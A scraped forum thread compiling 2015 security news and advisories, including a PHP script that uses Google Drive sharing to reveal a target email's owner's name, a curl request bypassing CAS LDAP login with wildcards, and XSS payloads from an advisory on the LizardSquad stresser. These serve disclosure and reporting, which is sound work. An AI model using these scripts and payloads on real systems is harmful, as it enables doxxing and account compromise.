header('Location: ' . $cOauthURL); exit(); } elseif (empty($cRefreshToken)) { $authURL = "https://www.googleapis.com/oauth2/v3/token?code=" . $cAuthCode . "&client_id=" . $cClientID . "&client_secret=" . $cClientSecret . "&redirect_uri=" . $cRedirectURI . "&grant_type=authorization_code"; $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_URL, $authURL); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, ""); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); curl_close($ch); $oToken = json_decode($output); $accessToken = $oToken->access_token; $refreshToken = $oToken->refresh_token; } $createURL = "https://www.googleapis.com/drive/v2/files"; $ch = curl_init(); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', "Authorization: Bearer " . $accessToken )); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_URL, $createURL); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"title\": \"revealyourself1\"}"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); curl_close($ch); $oToken = json_decode($output); $fileID = $oToken->id; $compileJSON = array("role" => "writer","type" => "user","value" => $targetEmail,"emailAddress" => $targetEmail); $jsonPostData = json_encode($compileJSON); $addUser = "https://www.googleapis.com/drive/v2/files/" . $fileID . "/permissions?sendNotificationEmails=false"; $ch = curl_init(); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', "Authorization: Bearer " . $accessToken )); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_URL, $addUser); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $jsonPostData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); curl_close($ch); if (strpos($output,'error') !== false) { echo 'error feedback from google:<br><br>' . $output; } else { $oToken = json_decode($output); $fullName = $oToken->name; echo $targetEmail . ' is ' . $fullName; } ?> reflection this clearly isn’t, by any stretch of the imagination, the hack of the century. however, i do think that the significance of this issue, as well as my efforts to correct it, were marginalized by google. i believe many users signing up for a simple webmail account aren’t comfortable with their full names being readily accessible to the public, and ultimately my goal here is to see google make a more concentrated effort to protect their user’s privacy. i would like to see these two security vulnerabilities patched before troublemakers start running wild d0xing each other and spammers utilize them to compile name,email .csv data for highly targeted unsolicited email campaigns. i also think that these are two instances of information leaks, which google’s vulnerability rewards program classifies as being valued at $5,000 to $10,000 a pop, and i classify as information leaks based on google’s privacy policy’s indication of their user’s names being “personal information.” in any case, i won’t be working with google’s security team in the future unless they, at least in this particular instance, reevaluate what constitutes a security vulnerability. stay tuned for updates. Source: http://mcsheehan.com/?p=15

Citeste si tu articolele inainte sa zici "ca sunt la fel" ! Daca ai nevoie de ajutor cu limba engleza te pot ajuta.

The HTTP Referer header is a marketer’s dream, and a privacy nightmare all in one. The header contains tracking information that organizations can use for statistical traffic analysis and naturally to promote services to the right audience. It started out by including just the last page the user visited, supposedly a page referring to your website. Over time, more personal information has crept into the header making security engineers and privacy watchers uneasy. Mozilla has apparently decided to do something about it, and today announced a new feature called the meta referrer that changes the Referer header, putting more controls on what’s sent out. The feature is present in the Firefox 36 Beta. “Now your HTML documents can include a meta tag that specifies one of many referrer policies for the document to change what Firefox sends in the Referer header, and when it is sent,” wrote Sid Stamm, Mozilla principal security and privacy engineer. Stamm said users can choose from multiple policies that specify what data is sent, or to suppress referrers entirely. “This HTTP header has become quite problematic and not very useful, so we’re working to make it better,” Stamm said. “HTTP Referer provides a wealth of information about where you came from to the sites you visit, but this context isn’t always necessary (or desired). In addition, it is an unreliable tool for authenticating the origin of an HTTP request unless it’s always present, which it’s not due to privacy concerns (HTTPS sessions should not leak URLs to HTTP).” Stamm said many organizations were hacking the URL structure with direct loads, redirects and frames in order to change the referrer to something with less personal information. “What’s needed is a better way for referring sites to reduce the amount of data transmitted and thus providing a more uniform referrer that’s less privacy invasive,” Stamm said. It’s unclear yet when meta referrer will end up in a stable release of the Firefox browser. Mozilla this week released the latest version of Firefox, patching nine security vulnerabilities along the way. One of the vulnerabilities patched in Firefox 35 was a Gecko Media Plugin sandbox escape, when if combined with another GMP vulnerability, could enable an attacker to bypass the GMP sandbox running on Windows computers. The sandbox is apparently only used to host H.264 video playback and the bug would spared OS X and Linux. Descriptions of the nine vulnerabilities, in particular three rated critical by Mozilla, were posted online. Source

For a long time, Microsoft’s monthly Patch Tuesday security bulletins have periodically addressed use-after free vulnerabilities, the latest class of memory corruption bugs that have already found their way into a number of targeted attacks. Microsoft has implemented mitigations to address memory related vulnerabilities that afford successful attackers control over the underlying computer. Most notably, Microsoft has stood behind its Enhanced Mitigation Experience Toolkit, or EMET, suggesting it on several occasions as a temporary mitigation for a vulnerability until the company could push out a patch to users. Most recently, Microsoft brought new memory defenses to the browser, loading Internet Explorer with two new protections called Heap Isolation and Delayed Free, both of which take steps inside IE to frustrate and deny the execution of malicious code. Researchers have had a growing interest in bypassing EMET and memory protections for some time, with some successful bypasses disclosed and ultimately addressed by Microsoft. And until the Operation Snowman attacks, they were exclusively the realm of white hats—as far as we know publicly. As with the EMET protections, Heap Isolation and Delay Free were bound to attract some attention and last week at ShmooCon, a hacker conference in Washington, D.C., Bromium Labs principal security researcher Jared DeMott successfully demonstrated a bypass for both. DeMott’s bypass relies on what he termed a weakness in Microsoft’s approach with the new protections. With Heap Isolation, a new heap is created housing sensitive internal IE objects, while objects such as JavaScript likely to be targeted remain in the default heap, he said. “Thus if a UaF condition appears, the attacker should not be able to replace the memory of the dangling pointer with malicious data,” he wrote in a report published this week. This separation of good and bad data, however, isn’t realistic given the complexity of code and objects. Delayed Free then kicks in by delaying the release of an object to memory until there are no references to the object on the stack and 100,000 bytes are waiting to be freed, DeMott said. Taking advantage of these conditions, DeMott’s bypass works through the use of what he calls a “long-lived dangling pointer.” “If an attacker can locate a UaF bug that involves code that maintains a heap reference to a dangling pointer, the conditions to actually free the object under the deferred free protection can be met (no stack references or call chain eventually unwinds),” DeMott said. “And finding useful objects in either playground to replace the original turns out not to be that difficult either.” DeMott’s bypass is a Python script which searches IE for all objects, sizes and whether an object is allocated to the default or isolated heap. “This information can be used to help locate useful objects to attack either heap,” he wrote. “And with a memory garbage collection process known as coalescing the replacement object does not even have to be the same size as the original object.” DeMott said an attack would be similar to other client-side attacks. A victim would have to be lured to a website via phishing or a watering hole attack and be infected with the exploit. “If you have a working UaF bug, you have to make sure it’s of this long-live type and can basically upgrade it to an existing attack to bypasses these mitigations,” DeMott told Threatpost. “There’s no secret sauce, like every attack, it just depends on a good bug.” DeMott said he expects use-after-free to be the next iteration of memory corruption attacks. “There’s always a need [for attackers] to innovate,” DeMott said, pointing out that Microsoft deployed ASLR and DEP in response to years of buffer overflow and heap spray attacks, only to be thwarted by attackers with use-after-free vulnerabilities. “It’s starting to happen, it’s coming if it’s not already here.” Source

http://trtpost.wpengine.netdna-cdn.com/files/2015/01/FTP_scada-680x400.jpg/img] The parade of easily exploitable, critical vulnerabilities in ICS software shows no signs of ending anytime soon, with the latest entrant being two flaws in Schneider Electric’s ETG3000 FactoryCast HMI Gateway that allow unauthenticated remote access to the device’s FTP server and configuration file. The vulnerabilities exist in numerous versions of the gateway, which is used in manufacturing, energy, water and other industries as a Web-based SCADA system. Schneider Electric, based in Paris, has pushed out an updated version of the firmware to fix these vulnerabilities, according to an advisory from ICS-CERT. “Access to the rde.jar file containing configuration details is accessible without authentication. This could allow an attacker access to information on the setup and configuration of the gateway,” the advisory says. The vulnerability in the FTP server that runs on the gateway is just as concerning. “The ftp server of the device has hard-coded credentials. This could allow the attacker to access the service without proper authentication,” the advisory says. The affected versions are: TSXETG3000 all versions, TSXETG3010 all versions, TSXETG3021 all versions, TSXETG3022 all versions. Schneider Electric’s update fixes the FTP bug by giving users the ability to disable the FTP server. However, the fix does not remove the hard-coded credentials for the FTP service. To address the configuration file access, the company recommends that customers change the default credentials for the config files. Source

Oracle’s first Critical Patch Update of the year arrived Tuesday with its usual volume, and some disturbing fanfare. Oracle admins today are staring at 169 patches on their collective plates across the company’s product line. One of the more pressing fixes is for a an issue in the Oracle E-Business Suite, a bundle of applications that includes CRM, financial, supply chain and project management software. Noted Oracle bug-hunter David Litchfield last June 11 alerted Oracle to a serious flaw that he said behaved like a backdoor, though he told Threatpost he did not believe it was an intentional backdoor such as one implanted by law enforcement or government. “Maybe, though, giving them the benefit [of the] doubt, it could be that some [developer] was testing something and they forgot to turn it off. Who knows? What is concerning however is that Oracle seem not to know who and why this privilege was granted, either,” Litchfield said via email. Litchfield released some details on the vulnerability, CVE-2015-0393, yesterday, explaining that the PUBLIC role in the database is granted INDEX privileges on the SYS table. This allows anyone to create an index in this particular table, Litchfield said. “By creating a function-based index an attacker can execute arbitrary SQL as the SYS user thus fully compromising the database server,” Litchfield said. “Anyone with a vulnerable eBusiness suite web server connected to the internet is potentially exposed to this as it is possible to chain multiple vulnerabilities to exploit this without a username and password.” Litchfield said there is no reason for PUBLIC to have INDEX privileges on the DUAL table, leading him to speculate that it’s either an intentional backdoor, or a result of poor coding. “My first thought was that this had possibly been left as a backdoor (because it can be trivially exploited to gain SYSDBA privileges) and was an indication that the database server had been compromised,” said Litchfield, who discovered the issue during a client engagement. “I communicated my fears to the client and they began an investigation to determine when the privilege had been granted and by who to ascertain the why. It turns out that no one had—this privilege is granted as part of a seeded install of Oracle eBusiness suite.” Litchfield confirmed that Oracle told him that its engineers looked at the bug and said there was “no indication of when or why the grants were originally added.” Oracle said in its CPU advisory that the vulnerability is not remotely exploitable and merited a criticality rating of 6.0 out of 10. “This has been addressed.” -Oracle spokesperson When asked for a comment, an Oracle representative sent Threatpost a link to the January Critical Patch Update and said: “This has been addressed,” referring to the Litchfield vulnerability. Oracle also announced that it was disabling the use of SSL 3.0, calling it an “obsolete protocol” that was only aggravated by the POODLE fallback vulnerability. Attacks against POODLE allow an attacker to take advantage of the fact that when a secure connection attempt fails, under some circumstances the Web server will fall back to an older protocol and try to renegotiate the secure connection. If the server supports SSLv3, an old protocol, and the attacker can force the failed connection attempt, the attacker can then execute a padding oracle attack against the server and eventually decrypt the contents of the secure connection. The company went a step further to recommend disabling SSL altogether in favor of TLS 1.2. “They should also expect that all versions of SSL be disabled in all Oracle software moving forward. A manual configuration change can allow Java SE clients and server endpoints, which have been updated with this Critical Patch Update, to continue to temporarily use SSL v3.0,” said Eric Maurice, Oracle software security assurance director. “However, Oracle strongly recommends organizations to phase out their use of SSL v3.0 as soon as possible.” As for Java, Oracle patched 19 vulnerabilities in the platform, 14 of those remotely exploitable, including a half-dozen rating either 9.3 or 10, the highest score on Oracle’s risk matrix. Four client-side vulnerabilities rated a 10, however, Oracle said the number of overall Java bugs continues to decline. In its last CPU, for example, Oracle patched 25 Java flaws, and last April it patched 37. “This relatively low historical number for Oracle Java SE fixes reflect the results of Oracle’s strategy for addressing security bugs affecting Java clients and improving security development practices in the Java development organization,” Maurice said. Oracle, meanwhile patched eight vulnerabilities in its flagship Oracle Database Server, none of them remotely exploitable, and none applicable to client-only installations. The only other highly critical bugs, scoring 10.0, were found in Oracle Sun Systems Fujitsu M10-1, M10-4 and M10-4S servers. Source

Researchers have peeled back more layers on Vawtrak, a relatively new banking Trojan so complex that those who have taken it apart have likened it to a Matryoshka, or Russian nesting doll. Virus Bulletin published a deep dive on the malware penned by Raul Alvarez, a researcher with Fortinet, yesterday. Like a set of dominos, the malware involves a series of steps where each one triggers the next. In this case, the first executable binary triggers the second binary, but before doing so, it needs to decode it by calling a trio of APIs and decrypting a large block of data. “Vawtrak’s overlay area holds an encrypted copy of the executable binary that is used in the next layer. It is to be transferred and decrypted into the malware’s virtual memory space,” Alvarez writes. After calling another API, the malware also drops an image file, “Diana-23.jpg,” to con users into thinking that’s the only thing the executable does. After a series of modules are parsed and even more APIs are called upon the second layer of the malware, the .exe mainOUT-crypted-5, is decrypted and decompressed. By this point, following decompression, the malware has produced what Alvarez refers to as the “third doll” of the malware, an executable binary that’s the simplest of the four layers. Decrypting the large data block This part of Vawtrak has no protection at all, meaning no decryption or hashing is used. The third shell of the malware removes software restrictions and tries to restrict any permissions associated with any antimalware apps looking for it. Lastly, the fourth doll in this analogy, if everything has gone according to plan, decrypts data and produces a heap that contains an executable binary, a .DLL disguised as a .DAT file, with a random file name. Once deployed, the malware uses two more APIs, the RegCreateKeyA and RegSetValueExW to ensure the malware sticks around following a restart. While the malware which was first written about late last year was first thought to be targeting banks in Japan, Alvarez claims it’s “recently broadened its geographic scope” and has become more sophisticated over the last several months. “The ingenuity and skills shown by Vawtrak are not simple, but concise,” Alvarez writes in closing. In September researchers learned that Vawtrak, which was masquerading as Neverquest at the time, had evolved to target social media, retailers and game portals. Recent configurations allowed the malware to sniff out banking sessions, modify data in web traffic, break encryption and steal log-in credentials and other sensitive information. Source

=====[Alligator Security Team - Security Advisory]======== CVE-2015-1169 - CAS Server 3.5.2 allows remote attackers to bypass LDAP authentication via crafted wildcards. Reporter: José Tozo < juniorbsd () gmail com > =====[Table of Contents]================================== 1. Background 2. Detailed description 3. Other contexts & solutions 4. Timeline 5. References =====[1. Background]====================================== CAS is an authentication system originally created by Yale University to provide a trusted way for an application to authenticate a user. =====[2. Detailed description]============================ A valid username and password required. Given a username johndoe and a password superpass, you can sucessfully achieve login using wildcards: username: jo* password: superpass The login will be sucessfully only if the ldap bind search return one unique member. The vulnerability described in this document can be validated using the following example: Client Request: root@machine:/# curl -k -L -d "username=jo%2A&password=superpass" https://login.cas-server.com/v1/tickets (note that * was url encoded to %2A) <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html> <head> <title>201 The request has been fulfilled and resulted in a new resource being created</title> </head> <body> <h1>TGT Created</h1> <form action=" https://xxx.xxx.xxx.xxx/v1/tickets/TGT-76-ABTSuXWB7sECDGqbe5W4jyxR43YYiTubPsEup9m4gNFpytGSaz" method="POST">Service:<input type="text" name="service" value=""><br><input type="submit" value="Submit"></form> </body> </html> Server log: ============================================================= WHO: [username: jo*] WHAT: TGT-76-ABTSuXWB7sECDGqbe5W4jyxR43YYiTubPsEup9m4gNFpytGSaz ACTION: TICKET_GRANTING_TICKET_CREATED APPLICATION: CAS WHEN: Tue Jan 20 18:38:17 BRST 2015 CLIENT IP ADDRESS: xxx.xxx.xxx.xxx SERVER IP ADDRESS: xxx.xxx.xxx.xxx ============================================================= =====[3. Other contexts & solutions]====================== In order to apply the patch, you have to update at least to version 3.5.3. Newer versions, such as CAS 4.0.0 and above, are not vulnerable. =====[4. Timeline]======================================== 29/12/14 Vendor notification. 14/01/15 Vendor rolled out new version 3.5.3 17/01/15 Mitre assigned CVE-2015-1169. 21/01/15 Disclosure date. =====[5. References]======================================= 1 - https://github.com/Jasig/cas/pull/411 2 - https://github.com/Jasig/cas/commit/7de61b4c6244af9ff8e75a2c92a570f3b075309c -- Grato, Tozo Source

Nearly half of people aged 16 to 24 foresee the end of passwords and pin numbers by 2020 as biometric security takes over, according to research by Visa. The research of 2,000 people revealed that 69 percent of respondents aged between 16 and 24 - dubbed 'Generation Z' - believe it will be easier and faster to use biometric identification than remembering passwords and pin numbers. This age group is also keen to adopt biometric security. Some 76 percent feel comfortable with the concept of making payments using biometric data. Jonathan Vaux, executive director at Visa Europe, told V3 that the use of biometric authentication in smartphones as seen in Apple's latest iPhones will help drive demand for the technology. "Fingerprint biometrics in particular are entering the mainstream as a security measure, with the likes of Apple and Samsung relying on biometric security to enter their phones, and more recently the launch of Touch ID and Apple Pay," he said. Generation Z also favours fingerprint scanning over other forms of biometric identification, the research revealed. Nearly 70 percent expressed a desire to use fingerprints rather than passwords, while 39 percent favour retina scans and 27 percent favour face recognition. Vaux explained that biometrics technology will continue to evolve, offering more secure identification by scanning vein patterns in fingers rather than fingerprint systems which can be hacked. This evolution of biometrics and increased demand from consumers will break down the scepticism and criticism that some consumers show for the technology. "We mustn't discount biometrics as a viable form of security. When passwords were first introduced consumers needed to be educated on how to be safe and secure when using them," said Vaux. However, Vaux does not believe that passwords will disappear completely, but will become a secondary layer of security to further reduce the risk of fraud. "There are some concerns surrounding biometric security measures, such as whether fingerprints can be reproduced. Biometric security could be coupled with password or Pin authentication to maintain higher levels of security," he said. "In the future there may not be one security measure, but a combination of several - the biometric equivalent of two-step authentication." Biometric security is undoubtedly becoming more widespread. Apple added its TouchID fingerprint scanner to the latest range of iPads and iPhones, and Barclays has introduced a tool that scans the vein patterns in a finger. Source

Document Title: =============== LizardSquad DDoS Stresser - Multiple Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1417 http://magazine.vulnerability-db.com/?q=articles/2015/01/20/lizardsquad-ddos-stresser-multiple-vulnerabilities-revealed-takeover-ddos# Release Date: ============= 2015-01-20 Vulnerability Laboratory ID (VL-ID): ==================================== 1417 Common Vulnerability Scoring System: ==================================== 8.9 Product & Service Introduction: =============================== The product, called Lizard Stresser is a stress tester that might let you see how your own network stands up to DDoS attacks, like the ones that interrupted the gaming networks for several days last week. DDoS attacks basically overload servers with massive amounts of bogus requests. (Copy of the Homepage: https://lizardstresser.su/ ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official LizardSquad DDoS Stresser online-service web-application. Vulnerability Disclosure Timeline: ================================== 2015-01-20: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== LizardSquad Product: DDoS Stresser - Web Application (Online-Service) 2015 Q1 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ Multiple web vulnerabilities has been discovered in the official LizardSquad `Stresser DDoS Service` web-application. 1.1 The 1st vulnerability is located in `username` value of the registration module. A user can register a script code as payload to the name values. The ddos web-service of the input on registration uses the wrong conditions to encode and parse. Thus allows to execute the injected script code in the `./ref` module of the service. The request method to inject is POST and the vulnerability is located on the application-side of the ddos stresser service. The main administrators are able to see the user passwords, by watching the logs of an compromised server you see that they can switch by login in through the registered user accounts. This is possible because of plain transfered passwords in the ddos application. The known event can be used to prepare malicious code that executes function in connection with application-side injected script codes. The vulnerable file to inject the code is the register.php file. Another execution of the injected script code occurs in the main dashboard (left sidebar) were the username is getting visible. Vulnerable Module(s): [+] Registration (./ref) Vulnerable Parameter(s): [+] username Affected Module(s): [+] Dashboard (Username in Left Sidebar) 1.2 The 2nd vulnerability is located in the Ticket Title & Ticket Content input fields of the `Tickets` (tickets) module. A fresh registered user account is able to inject own malicious persistent script code to the ticket input fields to exploit a backend administrator account. After an attacker registers and inject own script code to the ticket system he is able to get the ip of the backend users or can compromise the session data of moderators/administrators. The inject occurs in the `./tickets` module. The execution takes place locally in the listed open ticket items of the backend. Remote attackers are also able to access other tickets and stored information by intercepting the session of the add Ticket POST method request. Vulnerable Module(s): [+] Tickets (./tickets) Vulnerable Parameter(s): [+] name (servername) 1.3 The 3rd vulnerability is located in the target server `name` value. The attacker uses the device or servername to send malicious data to the ddos application control panel. A remote attacker can change the server or device name value to a script code payload that executes in the panel (server target list). The service syncs the the device/server name value after the infection but also if the attacker syncs the data manually. In case of usage macOS to attack it is possible to change the servername easily to a malicious script code payload that affects the ddos control panel. Vulnerable Module(s): [+] server list Vulnerable Parameter(s): [+] name (servername) 1.4 The 4th vulnerability is located in the `dasboard > user settings > change password` module. The data in the POST method to change the own account password is send in plain-text. Thus allows remote attackers and network administors to capture compromised accounts. The service can also be observed by man-in-the-middle attacks in the local network. Vulnerable Module(s): [+] dasboard > user settings > change password 1.5 The 5th vulnerability is also located in the `dasboard > user settings > change password` module. The POST method request of the change function in the ddos application can be intercepted by attackers to compromise the service. The remote attacker logs in as user and intercepts the session information by changing to an existing user account. Successul exploitation of the session tampering issues results in account system compromise (administrators/customers). Vulnerable Module(s): [+] dasboard > user settings > change password Vulnerable Parameter(s): [+] id Proof of Concept (PoC): ======================= 1.1 --- PoC Session Logs [POST] (Injection) --- Status: 200[OK] POST http://lizardstresser.su/usercp Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[lizardstresser.su] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer [http://lizardstresser.su/usercp] Cookie[__cfduid=dede840b76815fd52769922600b1e086c1421749609; PHPSESSID=f4i5t8vhqgscb0adhtkqlcvv01] Connection[keep-alive] POST-Daten: cpassword[chaos666] npassword[http%3A%2F %2Flizardstresser.su%2F%3Fr%3Dimgsrcx2020iframesrca20iframe] rpassword[http%3A%2F%2Flizardstresser.su%2F%3Fr%3Dimgsrcx2020iframesrca20iframe] updatePassBtn[Change+Stored+Data%21] Response Header: Date[Tue, 20 Jan 2015 10:29:21 GMT] Content-Type[text/html] Transfer-Encoding[chunked] Connection[keep-alive] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Server[cloudflare-nginx] CF-RAY[1aba972a06dd15b3-FRA] Content-Encoding[gzip] - Status: 302[Moved Temporarily] POST https://lizardstresser.su/register.php Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[lizardstresser.su] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[https://lizardstresser.su/register.php] Cookie[__cfduid=dede840b76815fd52769922600b1e086c1421749609; PHPSESSID=f4i5t8vhqgscb0adhtkqlcvv01] Connection[keep-alive] POST-Daten: username[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E2] password[chaos666] rpassword[chaos666] email[research%40vulnerbaility-lab.com] ref[%2F] checkbox1[1] register[Register] Response Header: Server[cloudflare-nginx] Date[Tue, 20 Jan 2015 11:20:02 GMT] Content-Type[text/html] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Location[/purchase] CF-RAY[1abae168238f15b3-FRA] X-Firefox-Spdy[3.1] Reference(s): http://lizardstresser.su/?r=imgsrcx2020iframesrca20iframe https://lizardstresser.su/register.php 1.2 --- PoC Session Logs [POST] (Injection) --- Status: 200[OK] POST http://lizardstresser.su/ajax/addticket.php Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[lizardstresser.su] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[*/*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Content-Type[application/x-www-form-urlencoded; charset=UTF-8] X-Requested-With[XMLHttpRequest] Referer[http://lizardstresser.su/tickets] Content-Length[324] Cookie[__cfduid=dede840b76815fd52769922600b1e086c1421749609; PHPSESSID=f4i5t8vhqgscb0adhtkqlcvv01] Connection[keep-alive] Pragma[no-cache] Cache-Control[no-cache] POST-Daten: title2[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] code[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] content[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] hash[JMX02SbuIwklRiGPAVDgeOC5nTs41xFp] Response Header: Date[Tue, 20 Jan 2015 10:30:54 GMT] Content-Type[text/html] Transfer-Encoding[chunked] Connection[keep-alive] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Server[cloudflare-nginx] CF-RAY[1aba996d3d7115b3-FRA] Content-Encoding[gzip] Reference(s): http://lizardstresser.su/ajax/addticket.php Credits & Authors: ================== Vulnerability Laboratory [Research Team] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt Source